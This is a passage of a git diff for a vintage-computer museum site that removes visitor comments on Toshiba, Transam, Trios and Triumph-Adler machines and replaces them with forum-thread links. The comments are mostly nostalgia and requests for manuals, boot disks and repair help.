http://eu.computers.toshiba-europe.com/cgi-bin/ToshibaCSG/faq.jsp?FID=TRO0000000b07 Found this , might help the one with the bios damaged thingie.. ive gotten a t3200 today 286 with 4mb expantion. im trying to figure out how the hell to open the damned thing.... - - author: candice (hamilton (ontario)) - date: Tuesday 25th July 2006 - text: i have a working toshiba t3100/20 and was wondering what todays value is? - - author: Vincenzo (Italy) - date: Monday 19th June 2006 - text: I'I've got a Toshiba portege 3440ct, when i turn on it it says me... "BIOS is damage!, call your serviceman", and inquire the serviceman to place a maintenance disk in drive... where can I get this disk :-( Thanks !!! - - author: Richard Walker (203 East 27th Littlefield, Texas 79339) - date: Wednesday 31st May 2006 - text: I need the pinout for T3100e (Panasonic MD400F640PD6 ) orange Gas Plasma Display - - author: Jordan (Sweden) - date: Thursday 23rd March 2006 - text: |- - Hi i have a t3200 at full working order, kind of .\ - The floppy works and theres dos 5 and even win 3.1 on it, tho i cant get in win cause theres somekind of a problem -\ - it simply prints : cannot run windows in either standard or 386 enached mode\ - it also has minor problems like an empty time keeper battery and an error in cmos in bootup caused by the blank battery. Now i call upon you fellow computer folks - if anyone has any experiences regarding the standard and 386 modes or anything else that could help or be useful , please be so kind and mail me at ajk@tjohoo.se\ - Thanks a million ! - - author: Charlene (USA) - date: Thursday 9th March 2006 - text: I have a Toshiba 3100 and all it does is boot up to a screeen that says Insert System disk in drive. Can someone tell me what disk I need? - - author: Kendrick Walker (Saskatoon Saskatchewan, Canada) - date: Tuesday 3rd January 2006 - text: Does anyone know if the T1200 had MSDOS in ROM, I know the T1000, and the T1100 did, but i can't find any difinitive information on the T1200. Also, what interface does its hard-disk use? Thanks! - - author: Sam Burgess (Greeley, CO. USA) - date: Wednesday 21st December 2005 - text: I have a working Toshiba T3200 and was wondering what price a collector would pay for one seeing as how I am out of room at my house. - - author: Daniel Garland (New Zealand) - date: Thursday 8th December 2005 - text: I remember in 1988 or '89 Dad bringing home a T3100 from work to do some stuff at home, and the coolest thing it could do was play some simple animation of a bicycle, on its Amber/Red gas Plasma display... very neat. They were then issued with T3200's, and then a number of years later Dad came across a T5100 which wasn't being used, so we were allowed to borrow it until it screwed up & they asked for it back. I dare say that it was put in a skip (this was 1995 or 1996). I've managed to get my hands on a T3200, its very cool, I love it :) but the floppy drive doesn't work. I want another T3200 when I can find one, preferably with a working floppy drive - most probably the one I have now would become spares for the other. Not easy to find, espeically on a student's budget... - - author: José Luis (SPAIN) - date: Friday 18th November 2005 - text: |- - I've got a Toshiba T2130CS, and i'm try to recovery it from the "garbage room", but when i turn on it it says me... - - "BIOS is damage!, call your serviceman", and inquire the serviceman to place a maintenance disk in drive... where and/or how can i get this disk !?!?!?! - - Thnx !!! - - author: Mercer Helms (mhelms1) - date: Friday 28th October 2005 - text: |- - Anybody know where I can get a T1000 ac adapter? - - Thanks, - - Mercer - - author: Andy Smith (UK) - date: Sunday 4th September 2005 - text: |- - I have bought a laptop on ebay and are looking for a manual for it, does anyone know if i can find a manual/ users guide for it online? its a Toshiba T2130CS Laptop\ - any help appreciated you can email me at truebritmega@yahoo.co.uk - - author: Jennifer (USA) - date: Saturday 13rd August 2005 - text: |- - I bought my Toshiba 1200 (laptop) in 1990, used it until 1996, when I bought a Gateway Notebook. I'm on my fourth laptop, but I still have my old 1200. It went everywhere with me, including vacations and graduate school. - - I loved it--very simple for the non-tekkie--I love the old DOS, resisted learning how to use Windows, but time and technology move on. - - I remember when 20MG was considered the ultimate size for a hard drive; now we have flash drives 1GB and larger. - - Sigh... - - author: Matthew Baggett (England) - date: Saturday 30th July 2005 - text: Im looking for the pinout of the MD400F640PD2A Orange gas plasma display from the T3100! Please help! - - author: johannes (sweden) - date: Sunday 24th July 2005 - text: |- - I just found a t3100e/40 and a t3200 in the garbage room.\ - The t3100e/40 has no OS, but the t3200 starts up fine and I played "ski or die" for half an hour (incredible system speaker music in that game), but I just wonder...\ - what am I supposed to do with two computers like this?\ - It would be a shame to put them back in the garbage room, but we're not talking about a small amount of space here.. does anyone actually have room for those things? - - author: Robert (Holland) - date: Friday 22nd July 2005 - text: |- - I have a T2130CS/520, with win95. Can I use it for wireless network using the PCMCIA slot?\ - Where can I find more info? Thanks, Robert - - author: Kjetil (Norway) - date: Sunday 12th June 2005 - text: Anyone who knows if it's possible to take the fancy orange plasma screen from the t3100e and use it on my own computer for showing song names and stuff like that... like one of those 20\*4 displays, except it's 640\*480 ?? It would have been a killer!! - - author: joakim (norway) - date: Friday 20th May 2005 - text: I just acquired a toshiba t1200 and it needs a system disk any ideas where i might download what i need? - - author: Daniel Iversen (Australia) - date: Wednesday 9th February 2005 - text: |- - If you have an old Toshiba (I have a T1200) you can use the newer Toshiba laptop Chargers... plug is the same and the voltage is a bit higher but the old laptops doesn't seem to mind - very robust little bastards ;) - - I am charging my T1200 with a Toshiba Satellite 4300 Pro charger.. - - Cheers,\ - Daniel - - author: Daniel (Canada) - date: Saturday 5th February 2005 - text: |- - I have acquired a Toshiba T1200. If anyone has manuals for this model, I'm willing to pay a few dollars and the shipping.\ - This machine was dropped off and had been sitting for over a month. I just took a look at it today. I need to know if there's access to the bios/cmos and such. Any information would be appreciated.\ - Thanks. :)\ - nerd/daniel - - author: derek (USA) - date: Friday 4th February 2005 - text: I recently got a T3100 with WordPerfect 5.something already installed on it. The only problem is, I have no way to print anything off. Could I just hook any printer up to it and expect it to print, or would there be more work involved? - - author: Phillip Bedford (Australia) - date: Tuesday 18th January 2005 - text: I have a working T3100e running dos, X-Tree Gold, WP50,Typefast and WYSIWYG :-) I still use it for a typing tutor for some of my staff because the keyboard is still superb :-) - - author: lop7x8 (USA) - date: Sunday 2nd January 2005 - text: I am looking for T3100 user's manual and chess game software - - author: Erlend (norway) - date: Monday 27th September 2004 - text: I have an Toshiba T1200 but i dont have the power suply.. it is in greate shape and i got an internet card in it.. i love it.. hoping to get it fixed soon! - - author: andrei (Romania-Timisoara/Europe) - date: Thursday 16th September 2004 - text: |- - have a T3100, great machine for a freak like me.\ - now i don't have any users manual, software/diag diskette.... can anyone share smtg like that?\ - I found it, it has DOS5 and boots up, but as it only supports the 720kb diskette and my home-pc FDD doesn't support anything but 1.44, i'm into trouble...\ - can't format 720kb diskettes on the t3100, too, it says "unsupported parameter"... any idea?\ - also: any expansion/uprgade possibilities, maybe experience with them? i still have 640kb ram, 10Mb hdd and 720kb fdd...no network :(( - - any idea/help/contribution for this toshiba 3100 will make me very happy, even bare thoughts :) - - author: Ron Chownyk (North Carolina) - date: Tuesday 7th September 2004 - text: |- - To gain access to the T3100e BIOS, hold down the \[Fn\] key while it is booting up. After the memory check is finished, there will be two short beeps. Press \[F1\] to get into the BIOS. - - Now that I've figured that out, now on to my problem. My machine will also not boot from the hard drive. The floppy LED flickers, then the hard drive LED flickers, then the floppy LED comes on and stays on, and the machine hangs up. Yes, it will boot from the floppy, and everything on the hard drive works after that. - - I have also just changed the CMOS battery (which is hidden under the keyboard - some disassembly required!), but the laptop had the bootup problem before the battery was changed. - - Is there ANY utility disk for this computer??? - - author: Jojo (Toronto) - date: Sunday 25th July 2004 - text: hi, i have a T3100/20 classic lapttop. i'm trying to run the system...it is not totally work....everytime i turn it on the power asking me a system disk....it doesn't reboot too...and i'm trying to go into the bios won't go thru ever i press control+Alt+ESC or Del. ....is anyone any idea to get this thing running..pls...Help...thanks and i will hightly appriceated if u could help me.... - - author: Olav Heirman (Belgium) - date: Sunday 18th July 2004 - text: |- - I have acquired an old Toshiba T3100/20 in working shape. The only thing it doesn't do is start from the hard disk. But the hard disk is fine because i have started from a boot-disk in A: and everything works. Seems like Command.com is damaged. Can someone gives me a hint where i can find an undamaged version ?? Or some other solution ?\ - Thanks - - author: Terra (Michigan) - date: Thursday 15th July 2004 - text: I have a T3100e that was used for a business in the 90's. It is in such bad condition, it barely starts up. In order to access the main screen you have to go through twenty minutes of errors in CMOS and bad check sum. Any clue as to how to fix this? - - author: Mati Kirjak (Gdansk (Poland)) - date: Tuesday 11th May 2004 - text: HI! I need T3100 diagnostic disk. If somebody have shomthing like that please email me. T\_;) - - author: Charles Verrier (London) - date: Tuesday 9th March 2004 - text: |- - I had a T3100 for a while - it had a superb quality keyboard. - - There was also a T3200 which was larger to accomodate a bigger screen and a keyboard with numeric keypad. - - author: Mauro Bighi (Turin) - date: Monday 22nd September 2003 - text: I have a T1000 it's great. I write a lot of document and never loss a word. oc_id: 917 source: url: https://web.archive.org/web/20230609154441/http://www.old-computers.com/museum/computer.asp?c=917 diff --git a/content/museum/toshiba-t-200.md b/content/museum/toshiba-t-200.md index 64ccfdda..e9a1e47f 100644 --- a/content/museum/toshiba-t-200.md +++ b/content/museum/toshiba-t-200.md @@ -60,92 +60,7 @@ params: value: unknown - label: PRICE value: 'System + WTZ80 printer. : 666,000 pta (Spain, 1980)' - comments: - - author: pedro (portugal) - date: Friday 1st January 2021 - text: 'I am looking to buy some toshiba t200 software because I have one but no software. Please help. If you have some software contact me my email is: pedrovfroque@outlook.com' - - author: spartan59 (US) - date: Saturday 17th March 2018 - text: |- - Hi, - - I am pleased to see this webpage. Anyone still having pictures of the machine Toshiba T-200? - - herewith a nice flyer: https://imgur.com/a/7Nozo - - Anyone still having the user manual ? - - author: Steve (Australia) - date: Thursday 11th April 2013 - text: I wrote debtors, creditors and stock control for this system prior to it''s introduction into Australia in 1981. - - author: Ninh (USA) - date: Sunday 23rd December 2012 - text: Oh Lord, I had this machine because I am a computer enthusiast so I stated to learn how to write a program with Basic, bought this machine in Seattle during 1984 for 900$ comes with all software like General Ledger and a data base software called "Friday" and later I bought a manual Datec Modem with push button to originate the contact and spent all night long for BBS. - - author: patrick295767@gmail.com (France) - date: Tuesday 3rd July 2012 - text: |- - Hi Guys, - - I still have the floppies. If you still have one of those machine, please do not hesitate to contact me. I am looking forward for more JPEG of this great T200. Shall we meet on icq or irc. - - patrick295767@gmail.com - - author: Lorenzo Pedrazzi (Torino Italy) - date: Saturday 14th April 2012 - text: |- - I bought a new TOSHIBA T/200 in far 1980 (just put on the market) , I worked with him several and several years completely satisfied.\ - I still have it, every time I look at it, I fall in remembrations pleasure.\ - Sorry about my bad English\ - See you!\ - Lorenzo - Turin Italy - - author: Julius Cseresnyesi (Canada) - date: Sunday 11th December 2011 - text: We have 2 working T 250s with owners manual, $ a drawer full of 8" floppies still that we use to support our really OLD equipment. Found this site looking for images to show our company''s evolution. We will post a few when our new site goes live. - - author: paul (uk) - date: Monday 14th November 2011 - text: |- - I have a working T200 in my collection ,and yes this is the heaviest machine I have ! I am needing some floppies with software to run on the machine, the only disk I have is to boot the machine into cp/m ,If Patrick295767\ - could contact me I am very interested in some of his disks .\ - thanks Paul - - author: Tom C (California) - date: Sunday 16th October 2011 - text: I have a dedicated word processor labelled as Toshiba EW100, that looks like the picture of the T200. Uses two 8'' floppy disks, one for the operating system. Acquired it in the mid 1980s and used it heavily in my office until 1991. Last time I plugged it in about 4-5 years ago it still worked! I still have a number of disks, and would like to get that data converted for use on a PC or Mac. - - author: patrick295767 (France) - date: Saturday 10th September 2011 - text: |- - Hi, - - Anyone know how to get it the bios/or run the emulator under WIndows or other? - - Anyone has still the floppies to start it? I have a lot of floppies still ... of this Toshiba T-200 if you would like guys, but no drive 5 1/4 anymore - - author: patrick295767 (France) - date: Saturday 25th September 2010 - text: |- - Hello, - - I used it a lot this machine when I was younger. I still have lot of floppies of it. - - It was a great machine. I looked forward for an emulator under LINUX of it.\ - My first coding was on that, - oh it was lot lot lot of coding - - All the best - - Patrick295767 - - author: Maurin Sylvain (France) - date: Monday 3rd May 2010 - text: |- - My first personal computer, a great gift made by old computer scientist to a teenager in 1980''s. I learned english with toshiba manual, and I did not really improved since ! - - I got great time to understand brun usage of b80 basic, yeap \_the\_ basic compiler from Bill worked under CP/M along his interpreter ! Peek/poke weren''t here, happily assembler was not so far :) Toshiba Basic sucked against b80/asm but editor and interpreter integration were great against the poor CP/M environment. - - I trashed my T200 with sadness ten years ago and I am nostalgic now, it worked flawlessly from 1980 until 1995. My brother and I, we made our first step in CS with this old stuff. It is incredible to see a photo now on your comp-museum. - - author: Thomas Fusco (Ocala, FL) - date: Wednesday 27th April 2005 - text: Sadly, I was just informed that the T200 I wrote about on the main page was discarded several years ago. This site re-kindled my interest, and I was going to ask them to ship it to me (I have the skills now to repair it). Oh, well... - - author: Olivier (France) - date: Thursday 15th August 2002 - text: 16 EXTERNAL hard-drives! of course... - - author: Peter (Greenwich,CT) - date: Tuesday 22nd January 2002 - text: How could you put in 16 hard drives in that case. It is too small! + forum_thread: 242 oc_id: 232 source: url: https://web.archive.org/web/20230328114933/http://www.old-computers.com/museum/computer.asp?c=232 diff --git a/content/museum/toshiba-t100-x-dynapad.md b/content/museum/toshiba-t100-x-dynapad.md index 33042d7f..f28f6b93 100644 --- a/content/museum/toshiba-t100-x-dynapad.md +++ b/content/museum/toshiba-t100-x-dynapad.md @@ -61,6 +61,7 @@ params: - hardware - links - docs + forum_thread: 782 photos: - title: INSIDE DYNAPAD subtitle: '' @@ -88,44 +89,6 @@ params:  source : [Toshiba website](http://www.toshiba.com) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: JD Duncan (US) - date: Sunday 17th May 2020 - text: I actually still have one of these tablets. I have the tablet, keyboard, sylus, parallel cable, and the recovery floppy disks but do not have the external floppy drive. It still boots to the 40MB internal HDD. I wish I could find one of the external floppy drives. I also want to see if I can convert the HDD to a CF card. - - author: Ma Boo (United States) - date: Thursday 5th March 2020 - text: I can''t believe I trashed my working T100 pad in the dumpster about 20 years ago. Battery didn''t hold charge long though. I use to run a GeoCities page dedicated to the T-100X. - - author: Craig Woodward (New York/ USA) - date: Thursday 9th August 2012 - text: I owned one of these in the late 90s, and loved it. The screen was not touch, but rather was responsive to the pen via weak RF signals. The pen also needed a battery, which ran down rather easily. (AAAA as I recall). I updated mine to run Win3.11, which included easier PCMCIA services. The writing app was really outstanding as well. It recorded the pen strokes as vectors, not as raster. The allowed it to do post-writing OCR as well as real time (which was slow and could be turned off). Was quite sad when mine finally died a few years ago. - - author: Keith Comer (USA) - date: Thursday 7th June 2012 - text: |- - I was in Japan at a Product Planning meeting when we were trying to name the new box. We didn''t want to confuse it with the T-Series line of "laptops" (i.e., T1200, T1600, T3200, etc.). We decided to use only 3 digits, but that didn''t seem obvious enough of a distinction, so I suggested we put the "X" on the end, to signify "handwriting". - - I told the Japanese guys that, in the old days when some people couldn''t write, they would "sign with an X" (also the reason you still see an "X" at the beginning of the signature line on forms). Of course, in Japan they''ve never "signed" things longhand, so they had no idea what I was talking about. But nobody had a better idea, and they trusted me that it would "work" in the West, so it stuck: T100-X. - - Keith Comer\ - Former Senior Product Designer, Toshiba America - - author: Jacob VanAtta (Ohio/USA) - date: Tuesday 29th May 2012 - text: '@bluekatt I don''''t think so. A 386 and Windows 95 don''''t mix welll... I wouldn''''t try it unless you''''ve updated the motherboard to take a newer CPU.' - - author: bluekatt (netherlands ) - date: Sunday 31st December 2006 - text: |- - does anybody knowif these machines wil run windows 95 when loade dup with 20 mb of ram ?\ - win 3.1 and myself dont agree with one another - - author: Torin Darkflight (Iowa, USA) - date: Sunday 12th December 2004 - text: |- - Reply to Dwight from Canada: - - Looking at the picture of the T100X internals, I see what appears to be two batteries. One appears to be a standard size-AA while the other looks proprietary. Exactly which battery does what I do not know, but perhaps the easiest thing to do would be trying to replace the AA battery, see if maybe that helps. If not, then you might need to search Google for any identifying numbers or codes that are printed on the other battery. - - Not sure if this'll be any help, but just a thought. - - author: Dwight (Newfoundland, Canada) - date: Monday 26th April 2004 - text: Any one know what the specs are for the CMOS battery? Mine is dead. Sorta hate to throw it in the garbage if I can find a replacement. oc_id: 801 source: url: https://web.archive.org/web/20230610110009/http://www.old-computers.com/museum/computer.asp?c=801 diff --git a/content/museum/toshiba-visicom-100.md b/content/museum/toshiba-visicom-100.md index af0b0b2a..3d5c309d 100644 --- a/content/museum/toshiba-visicom-100.md +++ b/content/museum/toshiba-visicom-100.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 1278 photos: - title: VISICOM 100 subtitle: '' diff --git a/content/museum/transam-tuscan-s-100.md b/content/museum/transam-tuscan-s-100.md index 9953cf40..ecb72312 100644 --- a/content/museum/transam-tuscan-s-100.md +++ b/content/museum/transam-tuscan-s-100.md @@ -60,27 +60,7 @@ params: value: |- 24 KB RAM, single floppy disc: £1200\ 60 KB RAM, dual floppy disc: £1700 - comments: - - author: Lyndon (UK) - date: Friday 17th December 2004 - text: |- - Hi All, I have a Transam Tuscan S100 with 5.25" drives, a digittalker S100 bus card and 60k memory card. My system does boot from the CP/M 2.2 disk however there is a faulty sector so all I get is CP/M 2.2 boot message and the cursor comes back. Typing anything crashes it. Any one have a working CP/M 2.2 Boot disk for a Tuscan I can have a copy of?\ - I also have original manual with all circuit diagrams and description of how the hardware works. I will scan this in and make a PDF of it early 2005 and place it on my site for download. - - author: John (UK) - date: Tuesday 14th December 2004 - text: |- - Hi, - - I have a series of Practical Computing magazines frm July 1980 written by the designer of this machine: - - http://www.vintagecomputers.freeserve.co.uk/mags/praccomp/covers.htm - - One day I will scan them in ;-) - - I also have one of these machines, and would like to hear from other owners, so please e-mail me. - - Thanks,\ - John + forum_thread: 790 oc_id: 809 source: url: https://web.archive.org/web/20230328121401/http://www.old-computers.com/museum/computer.asp?c=809 diff --git a/content/museum/trios-micro-systems-micromate-pmc-101.md b/content/museum/trios-micro-systems-micromate-pmc-101.md index 656b6e1e..07317968 100644 --- a/content/museum/trios-micro-systems-micromate-pmc-101.md +++ b/content/museum/trios-micro-systems-micromate-pmc-101.md @@ -45,6 +45,7 @@ params: tabs: - photos - software + forum_thread: 456 photos: - title: REAR subtitle: '' @@ -58,22 +59,6 @@ params: subtitle: '' text: We see that the Micromate runs under CP/M 3.0 and that it has 128 kb RAM. image: /media/museum/software/trios_micromate_screen.jpg - comments: - - author: John Evans (United States/Colorado) - date: Friday 13rd January 2017 - text: |- - Greetings - just picked up the PMC-101 board and will be building a system around it once I can find some working suitable floppy drives. The disk images are out there for this system as is the ROM code. - - I''ve never owned a CP/M v3.0 system so it will be neat to getting it running. I''ll also build a case for it all from scratch. Would love to share experiences with other users. - - author: William R. Hightower Jr. (Houston Texas) - date: Monday 4th November 2002 - text: |- - Let me try this again. I bought two MicroMate PMC 101 in 1983 while living in San Jose CA. I have since lost my boot diskette and all documentation. Would any one happen to know where I may find one or both of these items? To be able to boot this unit again would realy be nice. - - I - - author: William Hightower (Houston Texas) - date: Monday 4th November 2002 - text: I bought two of these units in 1983 while living in San Jose CA. I have since lost my boot diskette and all documentation. Would any one happen to have a boot diskette or documentation for sale or trade. oc_id: 461 source: url: https://web.archive.org/web/20230608163005/http://www.old-computers.com/museum/computer.asp?c=461 diff --git a/content/museum/triumph-adler-alphatronic-p-30-p-40.md b/content/museum/triumph-adler-alphatronic-p-30-p-40.md index e04265e8..5273cf7c 100644 --- a/content/museum/triumph-adler-alphatronic-p-30-p-40.md +++ b/content/museum/triumph-adler-alphatronic-p-30-p-40.md @@ -52,6 +52,7 @@ params: value: Built-in PSU - label: PRICE value: 'P-30 : 5269 (France, 84)' + forum_thread: 480 oc_id: 486 source: url: https://web.archive.org/web/20230603211713/http://www.old-computers.com/museum/computer.asp?c=486 diff --git a/content/museum/triumph-adler-alphatronic-pc-models-p1-p2.md b/content/museum/triumph-adler-alphatronic-pc-models-p1-p2.md index d3a99aee..4e37b7fb 100644 --- a/content/museum/triumph-adler-alphatronic-pc-models-p1-p2.md +++ b/content/museum/triumph-adler-alphatronic-pc-models-p1-p2.md @@ -68,92 +68,12 @@ params: value: 5008 (France, 1981) tabs: - photos + forum_thread: 478 photos: - title: ALPHATRONIC subtitle: '' text: '' image: /media/museum/photos/triumph-adler_alphatronic_2.jpg - comments: - - author: Helmut Wiertalla (Deutschland) - date: Friday 14th August 2015 - text: |- - Hallo$ - - Alphatronic P2 Maschine,\ - dazu ev. hilft der Link. - - http://www.waltroper-aufbruch.de/AlphatronicP2.php - - mal auf der Seite etwas umsehen. - - MOS Beschreibung, Treiberbeschreibungen (Floppy,Display)\ - und ein Boot-Kochzept ev. anwendbar.\ - Eine funktionierende P2 Alphatronic und schreibbare Disketten sollte\ - man haben. - - Mit YMODEM 80 Programm von mir - erstlich entwickelt und\ - ein Boot- Kochrezept dort zu finden. - - Viel Erfolg und Grüße\ - Helmut Wiertalla - - author: Jaume - date: Tuesday 14th April 2015 - text: |- - Hello. - - I have an Alphatronic P2 and i need technical information and software for it. Do you have this machine yet? If you have it, could you help me, please?\ - Obtaining information about these machines is very (impossible) in my country.\ - Thank you very much. - - author: peter marchese (UK) - date: Monday 6th January 2014 - text: |- - I have a twin floppy Triumph Adler in working condition that I purchased in 1980 as the IBM''s started to make them obsolete, I was still using it to a small extent in 1995 for weather satellite orbit prediction.\ - My first computer training was on the Siemens R10/30 series which I believe was more or less a clone of the IBM360 with washing machine size 250MB drives.\ - When I could get time on the Siemens machine I could write basic programs which I later transferred to the CP/M machine - - author: Michael Titgemeyer (Germany) - date: Sunday 4th December 2011 - text: P1/P2 where the base for P3/P4 - CPU speed was 3Mhz (Intel 8085 with 6Mhz xtal). It was based on a computer developed by SKS (Steinmetz and Krischke Datentechnik in Karlsruhe, Germany). TA did a redesign of most boards to bring it in production. Floppy disks where double sided, 40tracks. As I was working in the dev. dept. for this computer, I do have some few software information, mostly the MOS and the CP/M Bios - - author: jomoca (Barcelona (Spain)) - date: Sunday 21st February 2010 - text: Aún guardo algunos viejos catálogos e información de Alphatronic en español.... moya.moya@terra.es - - author: Colin (UK) - date: Wednesday 26th March 2008 - text: |- - Hi - - I used to sell these (in East Anglia) - both the P1 and the P2. They were really good business machines at the time. - - I wonder if any of my old customers have still got them? I'll maybe ring around and see :-) - - author: Marko (Germany) - date: Monday 26th November 2007 - text: |- - I've got some disks as teledisk images and the original manual in German. - - If you need some info, mail me. - - author: Frank (Germany) - date: Monday 19th February 2007 - text: |- - I got an Alphatronic P2 !!\ - I'm really glad to I could find one - becaus this computer was the first computer i ever had. - - What's missing - I didn't get the system disk with it.\ - Is there anyone who could help me with a copy of the system disk ? - - Thanks\ - Frank - - author: Kjeld Rasmussen (danmark) - date: Sunday 13rd August 2006 - text: I have some progam I have make My alphatronic are not working I like to fine one the are working - - author: Ron (England) - date: Wednesday 4th January 2006 - text: The Alphatronic P2 does use CP/M but but the Base Address is at 4000H not 100H as Standard CP/M this means that programs have to be assembled to that address. The disks are single sided, the drives can be single sided or double sided, which are treated as two separate drives. As I haven't touched my machine for many years I would have to search my records for more information. The machine is so strange that many were just dumped. They were the bane of my life, I passed on all the information to some one in Cambridgeshire many years ago. - - author: Marco (Italy) - date: Saturday 11th January 2003 - text: |- - Hi anibody has some information about this computer? (Alphatronic P2)\ - I have the pc but no documentation or disk !\ - It boots normaly and enter in the monitor program but so noting happens, no basic or operating sistem.\ - Please someone help me ! I can't find anthing on the web ! oc_id: 484 source: url: https://web.archive.org/web/20230330073605/http://www.old-computers.com/museum/computer.asp?c=484 diff --git a/content/museum/triumph-adler-alphatronic-pc-models-p3-p4.md b/content/museum/triumph-adler-alphatronic-pc-models-p3-p4.md index 3877368f..56bb3656 100644 --- a/content/museum/triumph-adler-alphatronic-pc-models-p3-p4.md +++ b/content/museum/triumph-adler-alphatronic-pc-models-p3-p4.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 479 photos: - title: CLOSE-UP ON MODEL P4 subtitle: '' diff --git a/content/museum/triumph-adler-alphatronic-pc.md b/content/museum/triumph-adler-alphatronic-pc.md index bdc1688d..055059ec 100644 --- a/content/museum/triumph-adler-alphatronic-pc.md +++ b/content/museum/triumph-adler-alphatronic-pc.md @@ -67,6 +67,7 @@ params: - photos - adverts - hardware + forum_thread: 251 photos: - title: ALPHATRONIC PC subtitle: '' @@ -122,37 +123,6 @@ params: subtitle: '' text: These are 5''1/4 diskdrives (320kb each). F1 has the disk-controller built-in and can be connected directly to the computer, whereas F2 is a stand-alone disk-drive and has to be linked to F1 (thus the disk controller) to be used. image: /media/museum/hardware/triumph-adler_alphatronic-pc_disks_1.jpg - comments: - - author: Joachim Feld (Deutschland) - date: Saturday 4th September 2021 - text: Anybody interested in getting lots of parts and some functional Systems for free? I''m living in a Nuremberg and if you are interested send me an e-mail. - - author: Numanoid (Norway) - date: Monday 2nd August 2021 - text: 'Package deal on this computer, with disk drive, monitor and software was sold for $498 during summer 1985 (marked down from $1448 according to the info): https://youtu.be/TTi80NldsYE?t$289' - - author: Seawarrior (Danvers, MA USA) - date: Tuesday 22nd October 2019 - text: My very first programming job, when I was 19, was programming accounts receivable, sales lead tracking, and creating some spreadsheets on a Royal Alphatronic PC in 1986, in Peabody at the New England Home Planning Center, a place that sold modular homes. 33 years later and I''m still hacking. All the coding I did on this thing was in Beginners All Purpose Symbolic Instruction Code. I forget the name of the software, but PeachTree rings a bell. Would love to find one on eBay for a trip down memory lane. - - author: Obada El''esh (Jordan) - date: Wednesday 16th August 2017 - text: |- - Hello everyone,\ - does anyone know how much does it cost to get this legacy PC it''s great ? can we find it in auctions ? or something - - author: Hans van der Puijl (Belgium) - date: Sunday 8th January 2012 - text: |- - Hello,\ - All this is about the TA PC 8, from wich I have 1 Matmos and 2 TA mainunits 1x F1 and 1x F2 Floppy and a 4x 5 MB HD(seagate 225) and FD80/40 trackn system and lots of software CP/M 2.2 $3 ,NZ-com,Z3plus and diskbasic based.\ - But there is also a PC16 also a mainunit and 2 external floppydrives with 8088 cpu and MS-DOS compatible. I have one but have n''t used it a long time so I can''t remember how much $ in any case it will not start from IBM or Microsoft disks. - - Groetjes, - - Hans - - author: Brian Futrell (Raleigh, NC) - date: Friday 13rd May 2005 - text: As a teenager, one of my friends had one of these. However, his was branded by Royal and included the monitor, floppy drive and software. I don't know if he still has it or not. - - author: Roger (southington connecticut ,USA) - date: Tuesday 22nd July 2003 - text: i love this computer, i got it free from a metal shop, it has been in use constantly untill the diskd drive died last month, if anyone has an extra of one for sale ,please email me oc_id: 241 source: url: https://web.archive.org/web/20230324214131/http://www.old-computers.com/museum/computer.asp?c=241 diff --git a/content/museum/triumph-adler-ta-1000.md b/content/museum/triumph-adler-ta-1000.md index 708367ff..9355c3a4 100644 --- a/content/museum/triumph-adler-ta-1000.md +++ b/content/museum/triumph-adler-ta-1000.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 1243 photos: - title: TA-1000 subtitle: '' @@ -81,41 +82,6 @@ params: - title: Ilse Mülle's interview from 1996 url: http://home.afrika.net/admen1.htm text: This woman was apparently involved in the development of the TA-1000 (in German) - comments: - - author: Once I was a Programmer (Ireland) - date: Thursday 8th December 2016 - text: |- - In Ireland "Accounting Services" ( ex NCR salesmen) were agents for this machine. I worked as a assembler programmer on it. It used tape cassettes to store data.\ - But it lacked an operating system. One was being developed but not ready so I managed to write a simple one to manage multi tape files and deal with end of tape situations etc. The computers were easy to sell but delivery times for applications could be 6 months. All software was developed in-house. There were no packages.\ - It was a bad business model and quickly failed. - - author: ovoyager (Madrid/Spain) - date: Tuesday 24th January 2012 - text: |- - Datos adicionales. - - Los modelos comercializados en España eran todos muy similares, un mueble con el procesador, una o dos estaciones de diskettes de 8", un tambor de discos (opcional), la impresora de papel continuo, teclado y monitor de fósforo (sólo caracteres Ascii). - - Los programas (en Assembler) debian caber en una memoria de 16 KB, lo que no era fácil, , si bien podia ampliarse con otra tarjeta de 16 KB. - - Se habian desarrollado algunas macros para control de fecha (DOTA), control de pantalla (VOXI) control de Impresora (LFY), accesos, etc. Ello obligaba a compilar el programa durante bastante tiempo, a veces horas, para luego poder correrlo. Y si habia cola en Guillamet para compilar... - - Con el tiempo fuimos haciendonos más expertos, modificábamos las macros a nuestro gusto e incluso corregíamos los errores directamente en el ejecutable en hexadecimal para evitar compilaciones. - - Que tiempos aquellos... - - author: ovoyager (Madrid) - date: Tuesday 24th January 2012 - text: |- - Yo trabajé a finales de los 70 y principios de los 80 con esta máquina, distribuida en España por Guillamet S.A. Desarrollé programas en Assembler que se instalaron en algunas empresas. Recuerdo programas de control de almacen, de facturación, etc. y Clientes en Galicia, Madrid, Palma... - - Lo que recuerdo con mas cariño fue un conjunto de programas que permitian generar la declaración de la renta y del patrimonio, guardarlas e imprimirlas en papel continuo suministrado por Hacienda. - - Lo instalamos en una gestoria en Malaga. Funcionó algunos años, aunque el problema, como siempre, era la poca flexibilidad, de modo que cuando cada año Hacienda cambiaba tipos, tablas, etc., , era casi obligatorio volver a modificar el programa, pues era casi imposible tener en cuenta todo. - - author: Michael Titgemeyer (Germany) - date: Sunday 4th December 2011 - text: Just to mention that this system has been uses in the late 1970''s as a cross development system for the first electronic typewiter (SE2000 / TA20) - later Triumph-Adler used Intel development System for their electonic typewriters and other systems - - author: jomoca (Barcelona (Spain)) - date: Sunday 21st February 2010 - text: Aún conservo algunos catálogos en español de esta máquina moya.moya@terra.es oc_id: 1278 source: url: https://web.archive.org/web/20230604171550/http://www.old-computers.com/museum/computer.asp?c=1278 diff --git a/content/museum/triumph-adler-ta-1100.md b/content/museum/triumph-adler-ta-1100.md index f95222bd..8fbcb6bd 100644 --- a/content/museum/triumph-adler-ta-1100.md +++ b/content/museum/triumph-adler-ta-1100.md @@ -64,6 +64,7 @@ params: value: 36,000 DM (18,660 ) tabs: - photos + forum_thread: 996 photos: - title: TA-1100 C subtitle: '' @@ -87,13 +88,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/triumphadler_ta1100c_system_s3.jpg - comments: - - author: rob geearing (uk) - date: Friday 9th April 2021 - text: my dad also when to germany to learn - - author: Americo Iacovizzi (Italy) - date: Wednesday 16th January 2013 - text: I have one but it doesn'' work. If someone is interested to it can 